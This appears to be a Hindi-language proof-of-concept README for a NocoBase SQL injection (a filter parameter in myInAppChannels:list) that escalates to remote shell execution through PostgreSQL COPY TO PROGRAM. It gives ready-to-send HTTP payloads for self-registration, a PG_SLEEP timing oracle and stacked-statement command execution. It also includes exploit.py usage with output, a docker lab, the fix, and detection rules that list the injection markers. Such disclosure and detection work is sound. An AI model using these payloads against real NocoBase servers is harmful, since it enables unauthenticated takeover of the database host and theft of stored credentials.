
CVE-2026-52887 — NocoBase SQL इंजेक्शन -> PostgreSQL-सुपरयूज़र RCE (myInAppChannels:list फ़िल्टर, CVSS 10.0). लेखक PoC + स्रोत विश्लेषण + डॉकर लैब.
NocoBase के
@nocobase/plugin-notification-in-app-message (≤ 2.0.60) के
myInAppChannels:list एक्शन में SQL इंजेक्शन।
filter[latestMsgReceiveTimestamp][$lt] रिक्वेस्ट पैरामीटर को सीधे एक raw
Sequelize.literal() SQL स्ट्रिंग में बिना किसी escaping या binding के जोड़ा जाता है।
PostgreSQL pg ड्राइवर के stacked-statement समर्थन के माध्यम से इंजेक्शन
COPY … TO PROGRAM तक पहुँचता है, और क्योंकि विक्रेता की डिफ़ॉल्ट compose
nocobase DB role को superuser के रूप में बनाती है, यह postgres OS यूज़र के
रूप में शेल कमांड निष्पादन की ओर ले जाता है। endpoint के लिए लॉग-इन यूज़र आवश्यक है,
लेकिन डिफ़ॉल्ट auth-basic प्लगइन self-signup सक्षम के साथ आता है, इसलिए कोई भी
अनाम विज़िटर पंजीकरण करके उस तक पहुँच सकता है।
packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts,
myInAppChannels:list हैंडलर (2.0.57):
const latestMsgReceiveTSFilter = filter?.latestMsgReceiveTimestamp?.$lt
? Sequelize.literal(`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`)
: null;
filter.latestMsgReceiveTimestamp.$lt सीधे रिक्वेस्ट क्वेरी से आता है
(filter[latestMsgReceiveTimestamp][$lt]=…) और इसे Sequelize.literal() में
जोड़ा जाता है — raw SQL, कोई parameter binding नहीं, कोई type coercion नहीं।
हमलावर तुलना को बंद करके मनमाना SQL जोड़ सकता है।
pg ड्राइवर के माध्यम से चलता है, जो stacked
statements (… ; …) की अनुमति देता है। इंजेक्ट किया गया fragment एक दूसरा
statement जोड़ता है।docker-compose.yml postgres इमेज के POSTGRES_USER के
माध्यम से nocobase role बनाता है, जो हमेशा superuser होता है।COPY (…) TO PROGRAM '<shell>' चला सकता है, जो DB कंटेनर के
अंदर postgres OS यूज़र के रूप में <shell> को निष्पादित करता है।myInAppChannels ACL loggedIn है, लेकिन डिफ़ॉल्ट auth-basic प्लगइन
allowSignUp: true के साथ आता है। एक अनाम हमलावर self-register करता है
(POST /api/auth:signUp?authenticator=basic), bearer token के लिए साइन इन करता
है, और आगे बढ़ता है — इसलिए डिफ़ॉल्ट इंस्टॉल पर यह व्यवहार में unauthenticated है।
defineMyInAppChannels.ts में parseLatestMsgReceiveTimestampLt() जोड़ा गया है,
जो मान को Number() से गुज़ारता है (गैर-finite / गैर-संख्यात्मक इनपुट को 400 के
साथ अस्वीकार करता है) और एक bound comparison पर स्विच करता है:
Sequelize.where(Sequelize.literal(latestMsgReceiveTimestampSQL), Op.lt, latestMsgReceiveTimestampLt)
$ python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
[+] self-registered 'lab_operator' via auth-basic signUp
[+] signed in, bearer token acquired
[*] time-based: PG_SLEEP(5)=5.03s control=0.02s
[+] SQL injection confirmed (time-based)
[+] COPY TO PROGRAM sent (HTTP 200) - 'id > /tmp/proof 2>&1' executed as the postgres OS user
$ docker exec nb-pg cat /tmp/proof
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
रॉ HTTP चेन:
POST /api/auth:signUp?authenticator=basic {"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}
POST /api/auth:signIn?authenticator=basic {"account":"a","password":"P!ssw0rd1"} → {"data":{"token":"…"}}
# time-based oracle (≈5s delay):
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0)%20AND%201=(SELECT%201%20FROM%20PG_SLEEP(5))--%20a
Authorization: Bearer <token>
# stacked-statement RCE:
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0);%20COPY%20(SELECT%201)%20TO%20PROGRAM%20'id%20>%20/tmp/proof'; --%20a
Authorization: Bearer <token>
--cmd किसी भी शेल कमांड को स्वीकार करता है (reverse shell, OAST callback,
COPY (SELECT …) TO PROGRAM 'cat > /tmp/x' के माध्यम से DB पंक्तियाँ पढ़ना, आदि)।
इस होस्ट पर कोई docker bridge नहीं है, इसलिए दोनों कंटेनर host networking के साथ चलाएँ:
docker run -d --name nb-pg --network host \
-e POSTGRES_USER=nocobase -e POSTGRES_PASSWORD=nocobase -e POSTGRES_DB=nocobase postgres:16
docker run -d --name nb-app --network host \
-e DB_DIALECT=postgres -e DB_HOST=127.0.0.1 -e DB_PORT=5432 \
-e DB_DATABASE=nocobase -e DB_USER=nocobase -e DB_PASSWORD=nocobase \
-e APP_KEY=change-me -e APP_PORT=13000 nocobase/nocobase:2.0.57
# NocoBase auto-installs and serves on http://127.0.0.1:13000
python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
docker exec nb-pg cat /tmp/proof
फिक्स्ड-वर्जन सीमा (अस्वीकृत):
docker run ... nocobase/nocobase:2.0.61 # same steps
# the PG_SLEEP / COPY TO PROGRAM payloads return HTTP 400; a numeric $lt still returns 200
कैप्चर किए गए ट्रांसक्रिप्ट के लिए EVIDENCE.txt देखें और
सोर्स-स्तरीय व्याख्या के लिए ANALYSIS.md देखें।
nocobase/nocobase:2.0.57 पर CONFIRMED VULNERABLE, दो स्वतंत्र तकनीकों से
सत्यापित:
PG_SLEEP(5) पेलोड रिस्पॉन्स को ~5.0s विलंबित करता है जबकि
बिना sleep के समान रिक्वेस्ट उसी endpoint पर ~0.03s में लौटती है
(रेट लिमिटर / retry आर्टिफैक्ट को खारिज करता है)।uid=999(postgres) gid=999(postgres) शामिल है, जो postgres OS यूज़र के रूप में चलाए गए
id(1) का वास्तविक आउटपुट है, न कि पेलोड का echo।nocobase/nocobase:2.0.61 पर PATCHED — दोनों पेलोड HTTP 400 लौटाते हैं जबकि
एक संख्यात्मक $lt अभी भी 200 लौटाता है।
डेटाबेस कंटेनर के अंदर postgres OS यूज़र के रूप में रिमोट कोड निष्पादन: NocoBase डेटाबेस का पूर्ण read/write, हर संग्रहीत गोपनीयता और यूज़र क्रेडेंशियल का खुलासा, और lateral movement के लिए एक पैर जमाने का ठिकाना। डिफ़ॉल्ट इंस्टॉल पर किसी भी अनाम विज़िटर द्वारा पहुँच योग्य।
COPY … TO PROGRAM प्रिमिटिव को हटाता है)।allowSignUp: false)।myInAppChannels:list रिक्वेस्ट जिनका filter[latestMsgReceiveTimestamp][$lt]
मान एक सादा संख्या नहीं है, और PostgreSQL लॉग जिनमें COPY … TO PROGRAM शामिल है:
GET /api/myInAppChannels:list with filter[latestMsgReceiveTimestamp][$lt] containing
non-numeric characters: ')', ';', 'SELECT', 'PG_SLEEP', 'COPY', '--'
postgres: statement: COPY (...) TO PROGRAM '...'
Sigma (वेबसर्वर एक्सेस लॉग):
title: NocoBase myInAppChannels SQL injection (CVE-2026-52887)
logsource: { category: webserver }
detection:
selection:
cs-uri-stem|contains: '/api/myInAppChannels:list'
cs-uri-query|contains:
- 'PG_SLEEP'
- 'TO PROGRAM'
- '$lt]=0)'
- '$lt]=0);'
condition: selection
level: critical
MIT. © Caio Fabrício (BiiTts).
| CVE | CVE-2026-52887 |
| उत्पाद | NocoBase (@nocobase/plugin-notification-in-app-message) |
| प्रभावित | ≤ 2.0.60 (nocobase/nocobase:2.0.57 पर सत्यापित) |
| फिक्स्ड | 2.0.61 |
| क्लास | SQL इंजेक्शन (CWE-89) → OS कमांड निष्पादन |
| CVSS 3.1 | 10.0 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (GitHub CNA) |
| प्रमाणीकरण | प्रभावी रूप से unauthenticated — डिफ़ॉल्ट auth-basic allowSignUp: true |
| स्थिति | CONFIRMED VULNERABLE — 2.0.57 पर end-to-end सत्यापित |